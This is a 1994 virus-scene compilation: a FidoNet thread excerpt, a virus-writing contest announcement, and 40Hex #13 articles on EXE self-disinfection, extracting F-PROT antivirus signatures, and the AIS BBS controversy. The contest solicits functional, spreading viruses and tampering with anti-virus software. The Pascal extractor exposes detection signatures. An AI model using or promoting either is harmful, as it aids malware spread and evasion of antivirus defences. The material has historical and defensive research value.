  >corrupt it. I do know that you have not appealed to the IC over this matter
  >even though it was suggested to you. I know most normal people who are
  >innocent of something wouldn't pass up a chance to prove their innocence to
  >the "final" deciding authority. Why haven't you??

        Excommunication? You make Virnet sound like some type of deviant
        religion. If one is excommunicated from a religion no-one is
        allowed to speak to them at all, yet here you are spewing more
        and more FUD trying to smooth it over... Even if she did do all
        the things you/Virnet accuse her of it still does not justify
        the invasion of privacy perpetrated by Virnet / Mr. Neuman.

BD> PT> I don't want any part of Virnet and these personal investigations.  I
  > PT> am glad I am no longer a member.


(Continued to next message)
  QMPro 1.50 03-4821  Blah..........
--- GEcho 1.01+
 * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)


 From : MATT MILLER              		Number : 428    
   To : BILL DIRKS               		 Ref.# : 0      
Subj. : Virnet                3/3		  Conf : Virus-Info
 Date : 04-30-94  Time : 19:17	[311/313]

(Continued from previous message)

BD>      They are also glad you are now not a member to pass on Virnet
  >information to the virus writing community 8-)). Remember, YOU are the one
  >that forced the investigation!

        There's that word "FORCED" again... This is a hobby people... if
        people are not following the rules of your little group you ask
        them to leave. You do not invade their privacy and then attempt
        to say they "forced" you to do it. Anyone thinking of joining
        Virnet in any capacity should continue to follow this thread as
        I can assure you it will get much more entertaining here
        shortly.





  >Bill Dirks

BD>--- Maximus 2.01wb
  > * Origin: Safe Hex Central (405)248-0528 Lawton,OK (1:385/17)
  QMPro 1.50 03-4821  Blah..........
--- GEcho 1.01+
 * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)



        *************************************************************

                                   Announcing

                                      The

                   Second International Virus Writing Contest


                                  Sponsored by

                       American Eagle Publications, Inc.
                                 P.O. Box 41401
                              Tucson, AZ 85717 USA

                                      and

                           The Crypt Infosystems BBS

                               +1 (818) 683-0854


                                *** The Goal ***

         The purpose of this contest is to write a fully functional
         computer virus that entertains people with political satire.
         Viruses will be judged on the basis of originality,
         creativity, functionality, and political incorrectness.

                              *** Eligibility ***

         Anyone who can write a computer virus is eligible.

                             *** Contest Dates ***

         The contest is underway from January 1, 1994 until June 30,
         1994. Your submissions must be received by June 30 to
         qualify. The winner of the contest will be announced at the
         DEFCON conference in Las Vegas, July 22-24, 1994. If you can
         be present, an official award will be bestowed on you at that
         time.

         *************************************************************

                                    Details

         *************************************************************

         The philosopher Friedrik Nietzsche once said that if you want
         to kill something, you must laugh at it--and laugh at it
         deeply. So there should be little wonder that political
         satire is as old as politics itself.

         Is there something going on in the political arena that you
         abhor, that makes you sick, that is just plain wrong? Well,
         here's your chance to make a mockery of it. I've always had
         this idea that if someone wrote a sufficiently witty virus
         that really addressed the issues the way the people (not the
         press, not the politicians) saw them, it might just get
         passed around by people voluntarily.

         Let's find out.

         Write a virus that is itself a political satire. I don't mean
         a virus that simply displays a message. I mean a living
         entity whose every move--whose every action--is politically
         motivated. If you need more than one virus to make your
         point--perhaps two viruses working together, or something
         like that, that is fine.

         -----------------------------------------------------------
         Let me give you a simple example: The Political Correctness
         Virus

         This virus is a spoof on the "political correctness"
         movement--which is just a form of self-imposed censorship--
         that is sweeping american intellectual circles, particularly
         colleges and universities.

         This virus is a memory resident boot sector virus which
         maintains a list of politically incorrect words on your
         computer system. It also hooks the keyboard interrupt and
         monitors every keystroke you make. If you type a politically
         incorrect word into the computer, the PCV springs into
         action.

         Politically incorrect words are ranked at three different
         offense levels. When the PCV encounters such a word, it
         determines what offense level that word is, and acts
         accordingly.

         The least offensive words merely register a beep. More
         offensive words cause a beep to sound for 10 seconds. The
         most offensive words cause a siren to sound for two minutes,
         locking the system for that duration. If you turn the
         computer off before the two minutes are up, the virus will
         stop the boot process for five minutes, with sirens, when you
         turn it back on. If you allow the siren to complete, then you
         can proceed.

         The virus has two different word lists, both stored in an
         encrypted and compressed format. The list is selected
         at random when the system is infected, after which it cannot
         be changed. The first list is the "proper" list of
         political correctness no-no's. For example, a word like
         "sodomite" is among the worst possible offenses. The
         second list is an inverted list of no-no's.  This list trys
         to force you to use "sodomite" by flagging words like "gay"
         and "homosexual" as no-no's.

         If you allow the PCV to live in your system for three months
         without getting a single flag, you are given the supreme
         honor of viewing the word list assigned to you and adding a
         word to it. If you get more than 3000 flags in a lifetime, 
         the virus will force you to enter a politically correct word 
         before allowing you to start the computer, since you are 
         obviously unwilling to submit to its censorship. 

         The virus also uses powerful means to prevent disinfection,
         so that, once you get it, you can't get rid of it without a 
         major effort.
         ------------------------------------------------------------

         Now, I know you can get a lot more creative than this--so do
         it! Design your virus carefully, so that everything it does
         has meaning. Then send it in.

         Here are the criteria we'll use:

         1. Originality: Your virus must be an original work. Do not
         send us anything that is not 100% yours. Your message should
         be original too. Do not just ape what everybody else is
         saying, especially the media. Also, a refined wit is much
         to be preferred over vulgarity. Vulgarity is a substitute for 
         original wit. Foul language, porn, etc., are out. Destructive 
         features should be incorporated only if they are VERY 
         appropriate (perhaps if you are commenting on real live 
         genocide in your country, or something like that). In 
         general, though, destructive features will hurt you, not help 
         you. The one exception is modifying anti-virus programs. That 
         is considered to be CONstructive activity. 

         2. Creativity: Make us laugh, make us cry. Amaze us with how
         bits and bytes can say something about politics and issues.
         Think of it like this: displaying a message on the screen is
         like reading a text file. What we want is the equivalent of a
         multi-media extrvaganza. Use all the system's resources to
         tell your message. Don't be afraid to write a virus that has
         some wierd mode of infecting programs that tells a story, or
         to write one that sends faxes to the White House, or sends an 
         automatic request for reams of free information to some 
         government agency.

         3. Functionality: The virus has to work. If it only works on
         some machines, or under some versions of DOS, or what-not,
         then that will count against you. The better it is at
         infecting systems and moving around, the better off you will
         be. So, for example, if you write a file-infector, make sure
         it can jump directories, and--if you're up to it--migrate
         across a network.

         4. Political incorrectness: Since computer viruses are
         politically incorrect, their message should be too. If you
         send us a pro-establishment virus, then you will not win this
         contest. A word to the wise: think twice about what's correct 
         and what's not. Many positions are only superficially 
         incorrect, though they are really quite fasionable among the 
         establishment. Look at it this way: if you could get a well-
         written letter expressing your view published in a big city 
         newspaper, then it's not sufficiently incorrect. There are a 
         LOT of ideas that are unofficially censored by society--
         especially the media and academia. They tend to make 
         themselves out to be the rebels, but they are really the 
         establishment. If you can't think of anything creatively 
         incorrect and sufficiently obnoxious then you shouldn't be 
         writing viruses in the first place. 

         *************************************************************

                             How to Submit an Entry

         You may mail your entry to American Eagle Publications at the
         above address, or you may e-mail it to ameagle@mcimail.com. 
         Alternatively, you can submit it by dialing the Crypt 
         Infosystems BBS and uploading it there. To get on to the 
         system quickly, efficiently and anonymously, log on as VIRUS, 
         using the password CONTEST. 

         An entry consists of:

         1. A complete copy of your virus, both source and executable
         files.

         2. If the political satire isn't perfectly obvious, send a
         verbal description of how the virus works and why it does
         what it does. This is especially important if you are not an
         American and you are commenting on something that has
         not received worldwide attention. I don't care if you're
         Bulgarian and you're commenting on something we've never
         heard of--just make sure you explain it, or we won't
         understand and you'll lose.

         3. If you want to be recognized for your work, include your
         name (real or handle), and a way we can get in contact with
         you.

         By submitting an entry, you grant American Eagle 
         Publications, Inc. the right to publish your virus in any 
         form. You agree not to make your virus public prior to July 
         25, 1994. If you do, you are automatically disqualified from 
         the contest. 
         
         For the sake of privacy, you may encrypt your entry and
         send it in with the following PGP key (which we highly 
         recommend if you have PGP):

         -----BEGIN PGP PUBLIC KEY BLOCK-----
         Version: 2.1

         mQCNAi09jVgAAAEEAN3M9LFQXeBprkZuKo5NtuMC+82qNd3/8saHLO6iuGe/eUai
         8Vx7yqqpyLjZDGbAS7bvobrcY3IyFeu8PXG4T8sd+g81P0AY0PHUqxxPG3COvBfP
         oRd+79wB66YCTjKSwd3KVaC7WG/CyXDIX5W6KwCaGL/SFXqRChWdf2BGDUCRAAUR
         tApDT05URVNUXzk0
         =Z20c
         -----END PGP PUBLIC KEY BLOCK-----

         Good luck!

         ****************************************************************

                                  P R I Z E S

         In addition to instant worldwide fame and recognition, you'll 
         get:

         1. A cash prize of $100 US.

         2. A year's subscription to Computer Virus Developments 
         Quarterly.

         3. Your virus will be published in Computer Virus 
         Developments Quarterly, and other fine journals.

         4. A handsome engraved plaque recognizing your contribution 
         to the betterment of mankind.

         5.  A free secret surprise that we cannot tell you about 
         right now, valued at $100.

         Two runner-ups will receive the secret surprise.

         *****************************************************************

                                !!  GO FOR IT !!

         *****************************************************************


                            * Beware of [PLURG] *
[EoF]40Hex Number 13 Volume 4 Issue 1                                      File 002

EXE Self-Disinfection
By Dark Angel of Phalcon/Skism

In the last issue of 40Hex, Demogorgon presented an article on self-
disinfecting COM files. COM file disinfection is simplistic and very
straightforward. In this article, we shall deal with the somewhat more
complex topic of EXE file self-disinfection.

You should already be familiar with the EXE file header and how each of the
fields work. A brief summary follows (a fuller treatment may be found in
40Hex-8.007):

Offset Description
  00   'MZ' or 'ZM' EXE signature word
  02   Bytes in last page of the image
  04   Number of pages in the file
  06   Number of relocation items
  08   Size of the header in paragraphs
  0A   Minimum memory required in paragraphs
  0C   Maximum memory requested in paragraphs
  0E   Initial SS, offset from header in paragraphs
  10   Initial SP
  12   Negative checksum (ignored)
  14   Initial IP
  16   Initial CS, offset from header in paragraphs
  18   Offset of relocation table from start of file
  1A   Overlay number (ignored)

There are several methods which allow a virus to infect an EXE file. The
most common method involves the virus twiddling with the entry point of the
program to point to the virus. Another involves the virus altering the code
at the original entry point to jmp to its own code. A further method
involves the virus simply overwriting the code at the entry point and
storing the original code somewhere else, possibly at the end of the file.
A final method involves altering the structure of the EXE file so it is
instead recognised as a COM file. The ideal self-check routine should be
able to handle all these cases.

Part 1 - Detection
~~~~~~~~~~~~~~~~~~
The strategy for detection is simple; one simply needs to store a copy of
the original header and the first few bytes located at the entry code. When
the program executes, simply check these bytes to those found in the copy
of the program located on the disk. If they differ, then there is clearly
something amiss. This is essentially the same as the process for COM self-
checking, but an extra layer of complexity is added since the header is not
loaded into memory at startup. This minor difficulty may be readily
overcome by simply physically storing the header at some point in the
program.

Since the header is not known before assembling the file, it is necessary
to patch the header into the file after assembly. This may be done rather
easily with a simple utility called 40patch. It will insert the header and
the first 20h (32d) bytes at the entry point of an EXE file at the first
occurence of the string 'Dark Angel eats goat cheese.' in the program. This
string is exactly the length of the header, so be sure to allocate an
additional 20h bytes after the string for the entry point code.

A sample self-checking program follows:

----EXE Self-Check Program 1 begin----
                .model  small
                .radix  16
                .code
; Self-Checking EXE 1
; Written by Dark Angel of Phalcon/Skism
; For 40Hex #13

; To assemble: (tested with TASM 2.0)
;   tasm <filename>
;   tlink <filename>
entry_point:    mov     ah,51                   ; Get current PSP to BX
                int     21
                mov     ds,bx

                mov     bx,ds:2c                ; Search the environment for
                mov     es,bx                   ; our own filename. Note that
                mov     di,1                    ; this only works in DOS 3+.
                xor     ax,ax
                dec     di                      ; It also won't work if the
                scasw                           ; environment has been
                jnz     $ - 2                   ; released.

                xchg    dx,di
                inc     dx
                inc     dx
                push    es                      ; filename to ds:dx
                pop     ds
                mov     ax,3d02                 ; unless this handler is
                int     21                      ; tunneled, a virus may
                xchg    ax,bx                   ; infect it
                mov     ax,_DATA
                mov     ds,ax                   ; restore DS and ES
                mov     es,ax
                jc      error

                mov     cx,1c                   ; check the header for
                mov     si,offset header        ; corruption
                call    read_buffer
                jc      close_error

                mov     ax,4200                 ; go to the entry point
                xor     cx,cx
                mov     dx,word ptr [header+8]
                add     dx,word ptr [header+16]
                rept    4
                        shl     dx,1
                        adc     cx,0
                endm
                add     dx,word ptr [header+14] ; add this to the entry point
                adc     cx,0                    ; offset from header
                int     21
                jc      close_error

                mov     cx,20                   ; now check the first 32 bytes
                mov     si,offset first20       ; for corruption
                call    read_buffer
                jc      close_error

close_error:    pushf
                mov     ah,3e                   ; close the file
                int     21
                popf
                jc      error

                mov     dx,offset good          ; In an actual program, replace
                                                ; this line with a JMP to the
                jmp     short $+5               ; program entry point
error:          mov     dx,offset bad
                mov     ah,9
                int     21

                mov     ax,4c00
                int     21

read_buffer:    mov     ah,3f
                mov     dx,offset readbuffer
                int     21
                jc      error_read
                clc
                cmp     ax,cx
                jnz     error_read

                xchg    dx,di
                rep     cmpsb
                clc
                jz      $+3
error_read:     stc
                ret

                .data
good            db      'Self-check passed with flying colours.',0Dh,0A,'



bad             db      'Self-check failed. Program may be infected!'
                db      0Dh,0A,'



                        ;0123456789ABCDEF0123456789AB
header          db      'Dark Angel eats goat cheese.'
first20         db      20 dup (0)
readbuffer      db      20 dup (?)

                .stack
                db      100 dup (?)
                end     entry_point
----EXE Self-Check Program 1 end----

----40patch begin----
                .model  tiny
                .code
                .radix  16
                org     100
; 40patch
; Written by Dark Angel of Phalcon/Skism
; For 40Hex #13

; To assemble: (tested with TASM 2.0)
;   tasm /m 40patch
;   tlink /t 40patch

; Syntax:
;  40patch filename.exe

; 40patch will take the executable <filename.exe> and patch in the
; header and the first 32d bytes at the entry point in the first
; occurence of the string 'Dark Angel eats goat cheese.' in the
; executable.
patch:          mov     ah,9
                mov     dx,offset welcome
                int     21

                mov     si,82
back:           lodsb
                cmp     al,0dh
                jnz     back
                dec     si
                xchg    si,di
                mov     byte ptr [di],0

                mov     dx,82
                mov     ax,3d02
                int     21
                xchg    ax,bx
                jnc     open_okay

                mov     si,offset extension
                movsw
                movsw
                movsb

                mov     dx,82
                mov     ax,3d02
                int     21
                xchg    ax,bx
                jnc     open_okay

                mov     dx,offset syntax
error:          mov     ah,9
                int     21

                mov     ax,4c01
                int     21

open_okay:      mov     ah,3f
                mov     cx,1c
                mov     dx,offset header
                int     21

                mov     ah,3f
                mov     cx,20
                mov     dx,offset scratchbuffer
                int     21
find_signature: xor     ax,ax
                mov     di,offset scratchbuffer + 20
                mov     cx,(100 - 20) / 2
                rep     stosw

                mov     ah,3f
                mov     cx,100 - 20
                mov     dx,offset scratchbuffer + 20
                int     21
                or      ax,ax
                jz      signature_not_found
                add     ax,offset scratchbuffer - signature_length + 20
                xchg    bp,ax
                mov     ax,'aD'
                mov     di,offset scratchbuffer
try_again:      scasw
                jz      signature_check
                dec     di
                cmp     di,bp
                ja      try_next_bytes
                jmp     short try_again
signature_check:mov     si,offset signature + 2
                mov     cx,signature_length - 2
                rep     cmpsb
                jz      signature_found
                jmp     short try_again
try_next_bytes: mov     si,offset scratchbuffer + 100 - 20
                mov     di,offset scratchbuffer
                mov     cx,10
                rep     movsw
                jmp     short find_signature

signature_not_found:
                mov     dx,offset no_signature
                jmp     short error

signature_found:sub     di,bp
                sub     di,1c * 2
                xchg    dx,di
                or      cx,-1
                mov     ax,4201
                int     21

                mov     ah,40
                mov     dx,offset header
                mov     cx,1c
                int     21

                mov     ax,4201
                xor     cx,cx
                cwd
                int     21
                push    dx ax

                mov     ax,4200                 ; go to the entry point
                xor     cx,cx
                mov     dx,word ptr [header+8]
                add     dx,word ptr [header+16]
                rept    4
                        shl     dx,1
                        adc     cx,0
                endm
                add     dx,word ptr [header+14]
                adc     cx,0
                int     21

                mov     ah,3f
                mov     dx,offset first20
                mov     cx,20
                int     21

                pop     dx cx
                mov     ax,4200
                int     21

                mov     ah,40
                mov     dx,offset first20
                mov     cx,20
                int     21

                mov     ah,3e
                int     21

                mov     ah,9
                mov     dx,offset graceful_exit
                int     21

                mov     ax,4c00
                int     21

welcome         db      '40patch',0Dh,0A,'



graceful_exit   db      'Completed!',0Dh,0A,'



syntax          db      'Syntax:',0Dh,0A,'  40patch filename.exe',0Dh,0A,'



no_signature    db      'Error: Signature not found.',0Dh,0A,'



extension       db      '.EXE',0
signature       db      'Dark Angel eats goat cheese.'
signature_length =      $ - signature
header          db      1c dup (?)
first20         db      20 dup (?)

scratchbuffer   db      100 dup (?)

                end     patch
----40patch end----

To test out the programs above, first assemble them both. Next, run 40patch
on the EXE file. If the EXE file is -subsequently- altered in any way, then
it will alert the user of the problem. Note that this will do nothing for a
program that is infected prior to 40patching, so be sure to run it on a
clean system.

This simple self-checking mechanism won't catch spawning viruses. However,
it is trivial to add such a check.

Part 2 - Disinfection
~~~~~~~~~~~~~~~~~~~~~
Usual methods (for there are many oddball variants) of infecting an EXE
file involve appending the virus code to the end of the executable. With
this knowledge in hand, it is sometimes possible to reconstruct an infected
EXE file without too much difficulty. A simple modification of the previous
program will suffice:

----EXE Self-Check Program 2 begin----
                .model  small
                .radix  16
                .code
; Self-Checking EXE 2
; Written by Dark Angel of Phalcon/Skism
; For 40Hex #13

; To assemble: (tested with TASM 2.0)
;   tasm <filename>
;   tlink <filename>
entry_point:    mov     ah,51                   ; Get current PSP to BX
                int     21
                mov     ds,bx

                mov     bx,ds:2c                ; Search the environment for
                mov     es,bx                   ; our own filename. Note that
                mov     di,1                    ; this only works in DOS 3+.
                xor     ax,ax
                dec     di                      ; It also won't work if the
                scasw                           ; environment has been
                jnz     $ - 2                   ; released.

                xchg    dx,di
                inc     dx
                inc     dx
                push    es                      ; filename to ds:dx
                pop     ds
                mov     ax,3d02                 ; unless this handler is
                int     21                      ; tunneled, a virus may
                xchg    ax,bx                   ; infect it
                mov     ax,_DATA
                mov     ds,ax                   ; restore DS and ES
                mov     es,ax
                mov     errorcount,0

                mov     cx,1c                   ; check the header for
                mov     si,offset header        ; corruption
                call    read_buffer

                mov     ax,4200                 ; go to the entry point
                xor     cx,cx
                mov     dx,word ptr [header+8]
                add     dx,word ptr [header+16]
                rept    4
                        shl     dx,1
                        adc     cx,0
                endm
                add     dx,word ptr [header+14] ; add this to the entry point
                adc     cx,0                    ; offset from header
                int     21

                mov     cx,20                   ; now check the first 32 bytes
                mov     si,offset first20       ; for corruption
                call    read_buffer

                mov     ah,3e                   ; close the file
                int     21

                mov     dx,offset good
                cmp     errorcount,0
                jz      $+5
                mov     dx,offset errors

                mov     ah,9
                int     21

                mov     ax,4c00
                int     21

read_buffer:    mov     ah,3f
                mov     dx,offset readbuffer
                int     21
                jc      error_read
                clc
                cmp     ax,cx
                jnz     error_read

                xchg    dx,di
                mov     bp,si
                rep     cmpsb
                jz      read_buffer_ok

                push    ax
                xchg    ax,dx
                neg     dx
                or      cx,-1
                mov     ax,4201
                int     21

                mov     ah,40
                xchg    bp,dx
                pop     cx
                int     21

                mov     dx,offset bad
                inc     errorcount
                jmp     short $+5
error_read:     mov     dx,offset read_error
                mov     ah,9
                int     21

read_buffer_ok: ret

                .data
good            db      'Self-check passed.',0Dh,0A,'



errors          db      'Errors were detected.',0Dh,0A,'



bad             db      'Self-check failed. Fixing (may not work).'
                db      0Dh,0A,'



read_error      db      'Error reading file.',0Dh,0A,'



                        ;0123456789ABCDEF0123456789AB
header          db      'Dark Angel eats goat cheese.'
first20         db      20 dup (0)
readbuffer      db      20 dup (?)
errorcount      db      ?

                .stack
                db      100 dup (?)
                end     entry_point
----EXE Self-Check Program 2 end----

Summary
~~~~~~~
In general, it is poor practise to rely upon self-disinfection. The ancient
(!) adage 'restore from backups' is best followed upon the discovery of an
infection. However, it is helpful for programs to have a degree of self-
awareness in order to alert the user of a virus's presence before it has a
chance to spread too far. Disinfection will allow the user to continue
using some programs (under certain circumstances) without fear of further
spreading the virus.
40Hex Number 13 Volume 4 Issue 1                                      File 003
 
===============================================================================
 
 
                    Extracting virus signatures from F-PROT
                               by Peter Vincent
 
The program  included here  does just  that:   Extracts signatures  used by the
notorious anti-virus product F-PROT.  Before  we get to the code though,  there
are a couple of things that need to be said.
 
There are two sets  of signatures used in  F-PROT.  One is  used by F-PROT.EXE,
and  is  included  in  a  file  named  SIGN.DEF,  while  the  other  is used by
VIRSTOP.EXE and is included in VIRSTOP.EXE itself.
 
A virus signature is defined as a sequence of hex bytes, which can also include
one or more wildcards.  A wildcard, represented here as "??", matches any given
hex byte.  F-PROT does not use wildcards that can match more than one byte.
 
Note that  F-PROT defines  at least  two different  signatures for  each virus.
This is apparently aimed at better identification of viruses.  Also, the search
algorithm used ignores any hex bytes of  value 90 or CC.  This means  that code
that contains a F-PROT signature with some of these bytes inserted into it will
still  match  the  signature.   In  addition  to signatures for detecting known
viruses, there are a few  other signatures included that can  presumably detect
some unknown viruses.  These signatures are named as "unknown".
 
How to extract signatures from F-PROT:  easy as 1-2-3.  Extract the source code
included here and store it to a file named GETFP211.PAS.  Compile this  program
with Turbo Pascal (version 4.0 or  later).  Copy SIGN.DEF and VIRSTOP.EXE  from
F-PROT  distribution  to  the  default  DOS  directory,  and  run GETFP211.  On
successful  completion,  two  text  files  will  be  created:   F-PROT.STR  and
VIRSTOP.STR.   They  will  contain   the  signatures  found  in  SIGN.DEF   and
VIRSTOP.EXE, respectively.  Each line of these files will contain a  signature,
and the corresponding virus  name on every line.   VIRSTOP signatures for  boot
sector  viruses  are  not  included.   The  program  has  been  tested  to work
successfully with F-PROT 2.11; it might or might not work with future  versions
if they change the formats.
 
The internal format used by F-PROT to store signatures can be easily  retrieved
by reading the source code by any knowledgeable programmer.
 
And now for the source code:
 
--- Begin GETFP211.PAS --------------------------------------------------------
 
{
  GETFP211.PAS: Extract virus signatures from F-PROT version 2.11.
  This program is in the Public Domain.  Courtesy of Peter Vincent.
}
 
{$i-,r-}
 
program getfpstr;
  type ba = array[0..$fffe] of byte;
       wa = array[0..$7ffe] of word;
       bp = ^ba;
       wp = ^wa;
  function alloc(i: word): pointer;
    var p: pointer;
  begin
    if maxavail < i then begin
      writeln('Error: Not enough memory.');
      halt(1);
    end;
    getmem(p,i);
    alloc := p
  end;
  procedure writesig(var f: text; var s, name: string; x: char);
    const hexstr: string[16] = '0123456789ABCDEF';
    var i: word;
        c: char;
  begin
    for i := 1 to length(s) do begin
      c := s[i];
      if c = x
        then write(f,'?? ')
        else write(f,hexstr[ord(c) shr 4+1],hexstr[ord(c) and 15+1],' ');
    end;
    for i := length(s)*3 to 79-length(name) do write(f,' ');
    writeln(f,name);
  end;
  procedure dovirstop;
    var len: longint;
        virstop: pointer;
        adj: word;
    procedure readvirstop;
      var f: file;
    begin
      writeln('Reading VIRSTOP.EXE...');
      assign(f,'VIRSTOP.EXE');
      reset(f,1);
      if ioresult <> 0 then begin
        writeln('Error: Cannot open VIRSTOP.EXE.');
        halt(1);
      end;
      len := filesize(f);
      if len > $fffe then begin
        writeln('Error: VIRSTOP.EXE too big.');
        halt(1);
      end;
      virstop := alloc(len);
      blockread(f,virstop^,len);
      if ioresult <> 0 then begin
        writeln('Error: Cannot read VIRSTOP.EXE.');
        halt(1);
      end;
      close(f);
      case wp(virstop)^[0] of
        $5a4d, $4d5a: else begin
          writeln('Error: VIRSTOP.EXE is invalid.');
          halt(1);
        end;
      end;
      adj := wp(virstop)^[4]*16
    end;
    procedure writesigs;
      var i,j,k,l,startpos,endpos,sigcnt: word;
          found: boolean;
          f: text;
          buf: array[0..2047] of byte;
          sig, name: string;
      procedure chkioerr;
      begin
        if ioresult <> 0 then begin
          writeln('Error: Cannot write to VIRSTOP.STR.');
          halt(1);
        end;
      end;
    begin
      found := false;
      j := 0;
      k := 0;
      for i := 0 to len-1 do
        if chr(bp(virstop)^[i]) = '


 then begin
          if i-j > 30
            then
              if found
                then begin
                  endpos := j-adj;
                  i := len-1;
                end else startpos := i-adj-30
            else
              if not found then begin
                inc(k);
                if k = 20 then inc(found);
              end;
          j := i;
        end;
      sigcnt := 0;
      if found then
        for i := 0 to len-1 do begin
          j := i;
          k := 0;
          found := true;
          while found do begin
            l := bp(virstop)^[j];
            if (l-1 > 24) or (wp(@bp(virstop)^[j+l+1])^[0]-startpos > endpos)
              then dec(found)
              else begin
                inc(k);
                inc(j,l+3);
              end;
          end;
          if k >= 20 then begin
            if sigcnt = 0 then begin
              writeln('Writing VIRSTOP.STR...');
              assign(f,'VIRSTOP.STR');
              settextbuf(f,buf,sizeof(buf));
              rewrite(f);
              chkioerr;
            end;
            k := i;
            repeat
              sig := '';
              for l := bp(virstop)^[k] downto 1 do begin
                inc(sig[0]);
                sig[length(sig)] := chr(bp(virstop)^[k+l]);
              end;
              inc(k,bp(virstop)^[k]+3);
              name := '';
              l := wp(@bp(virstop)^[k-2])^[0]+adj;
              while chr(bp(virstop)^[l]) <> '


 do begin
                inc(name[0]);
                name[length(name)] := chr(bp(virstop)^[l]);
                inc(l);
              end;
              writesig(f,sig,name,#$fe);
              chkioerr;
              inc(sigcnt);
            until k = j;
            writeln(f);
            chkioerr;
            i := k;
          end;
        end;
      if sigcnt <> 0 then begin
        close(f);
        chkioerr;
        writeln(sigcnt,' signatures found in VIRSTOP.EXE.');
      end else writeln('Error: No signatures found in VIRSTOP.EXE.');
    end;
  begin
    readvirstop;
    writesigs;
    freemem(virstop,len);
  end;
  procedure dosigndef;
    var sigs, nameidx, names: pointer;
    procedure readsigndef;
      var f: file;
          date: record
            y: word;
            d,m: byte
          end;
      procedure chkioerr;
      begin
        if ioresult <> 0 then begin
          writeln('Error: Cannot read SIGN.DEF.');
          halt(1);
        end;
      end;
      procedure checksigndef;
        var buf: array[0..4095] of byte;
            i: word;
            l,c0,c1: longint;
        function rol(l: longint): longint;
        begin
          rol := l shl 1 or l shr 31
        end;
      begin
        l := filesize(f)-4;
        c0 := 0;
        repeat
          c1 := 0;
          i := sizeof(buf);
          if l < i then i := l;
          blockread(f,buf,i);
          chkioerr;
          dec(l,i);
          for i := 0 to i-1 do c1 := rol(c1) xor buf[i];
          c0 := c0 xor c1;
        until l = 0;
        blockread(f,c1,sizeof(c1));
        chkioerr;
        if c0 <> c1 then begin
          writeln('Error: SIGN.DEF has an invalid checksum.');
          halt(1);
        end;
      end;
      procedure readsigs;
        const frisk: string[15] = 'Copyright (c) F';
        var l: longint;
            i,c: word;
            x: byte;
        function ror(x: byte): byte;
        begin
          ror := x shr 1 or x shl 7;
        end;
      begin
        seek(f,0);
        blockread(f,l,sizeof(l));
        chkioerr;
        seek(f,l+4);
        blockread(f,i,sizeof(i));
        chkioerr;
        sigs := alloc(i-8);
        blockread(f,sigs^,i-8);
        chkioerr;
        c := -wp(@bp(sigs)^[i-10])^[0];
        for i := 0 to i-11 do begin
          x := not ror(bp(sigs)^[i]) xor ord(frisk[i mod 100 mod 15+1]);
          x := x xor i mod 100;
          bp(sigs)^[i] := x;
          inc(c,x xor i mod 100)
        end;
        if c <> 0 then begin
          writeln('Error: Invalid signatures checksum.');
          halt(1);
        end;
      end;
      procedure readnames;
        var i: word;
      begin
        blockread(f,i,sizeof(i));
        chkioerr;
        nameidx := alloc(i*2);
        blockread(f,nameidx^,i*2);
        chkioerr;
        i := filesize(f)-filepos(f)-4;
        names := alloc(i);
        blockread(f,names^,i);
        chkioerr;
        date.y := not wp(@bp(names)^[i-4])^[0];
        date.d := not bp(names)^[i-2];
        date.m := not bp(names)^[i-1];
      end;
    begin
      writeln('Reading SIGN.DEF...');
      assign(f,'SIGN.DEF');
      reset(f,1);
      if ioresult <> 0 then begin
        writeln('Error: Cannot open SIGN.DEF.');
        halt(1);
      end;
      checksigndef;
      readsigs;
      readnames;
      writeln('Signatures created ',date.m,'-',date.d,'-',date.y);
      close(f);
    end;
    procedure writesigs;
      var buf: array[0..2047] of byte;
          i,sigcnt: word;
          f: text;
          sig, name: string;
      procedure chkioerr;
      begin
        if ioresult <> 0 then begin
          writeln('Error: Cannot write to F-PROT.STR.');
          halt(1);
        end;
      end;
      procedure extract(n: word);
        var i,j,k: word;
      begin
        inc(sig[0]);
        for i := 1 to bp(sigs)^[n] do begin
          sig[length(sig)] := chr(bp(sigs)^[n+i+1]);
          j := wp(@bp(sigs)^[n+bp(sigs)^[n]])^[i];
          if i > bp(sigs)^[n+1]
            then extract(j-8)
            else begin
              inc(j,512);
              for k := bp(sigs)^[j] downto 1 do begin
                inc(sig[0]);
                sig[length(sig)] := chr(bp(sigs)^[j+k]);
              end;
              k := wp(@bp(sigs)^[j+bp(sigs)^[j]+1])^[0];
              if k = 0 then
                name := 'unknown'
              else begin
                k := wp(nameidx)^[k-1];
                name := '';
                while bp(names)^[k] <> 0 do begin
                  inc(name[0]);
                  name[length(name)] := chr(bp(names)^[k]);
                  inc(k);
                end;
              end;
              writesig(f,sig,name,#$90);
              chkioerr;
              dec(sig[0],bp(sigs)^[j]);
              inc(sigcnt);
            end;
        end;
        dec(sig[0]);
      end;
    begin
      writeln('Writing F-PROT.STR...');
      assign(f,'F-PROT.STR');
      settextbuf(f,buf,sizeof(buf));
      rewrite(f);
      chkioerr;
      sigcnt := 0;
      for i := 0 to 255 do begin
        sig := chr(i);
        if wp(sigs)^[i] >= 512 then extract(wp(sigs)^[i]-8);
      end;
      writeln(f);
      chkioerr;
      close(f);
      chkioerr;
      writeln(sigcnt,' signatures found in SIGN.DEF.');
    end;
  begin
    readsigndef;
    writesigs;
  end;
begin
  dovirstop;
  dosigndef;
  writeln('Done.');
end.
 
--- End GETFP211.PAS ----------------------------------------------------------
 
<<< end of file >>>

40Hex Number 13 Volume 4 Issue 1                                      File 004
 
-------------------------------------------------------------------------
  
In 40Hex Number 12 Volume 3 Issue 3, Geoff Heap authored a commentary
concerning the Department of Treasury's (Bureau of Public Debt) AIS
Bulletin Board System, which was at the core of a controversy
concerning the United States Government's role in computer information
systems.
 
Heap wrote:
 
> [Not so] Recently, the AIS BBS was shut down because of an anonymous
> letter which stated that the AIS BBS contained and distributed virus
> source code and helped system hackers develop and test malicious
> programs.
 
While the AIS system did indeed contribute to fruitful research into
malicious programs, computer viruses and the like, the immediate
controversy surrounding its role as a representative of a United
States government resource became apparent. Particular questions began
to surface:
 
o What was the purpose of this system?
 
o Were computer viruses, virus source code and other malicious
  software being made available to those who could, in turn, use them
  for damaging or unethical purposes?
 
o Was this system officially sanctioned by the Department of Treasury?
  If so, what was its official policy on the operation of this system?
 
o Should the United States government, in any capacity, be operating a
  system such as AIS?
 
 
In fact, the questions are too numerous to list, and the answers to
them are subjective to personal opinion.
 
Heap went on to write:
 
> The Bureau of Public Debt has little to do with protecting our
> country, and in regards to viruses, there is no agency who can protect
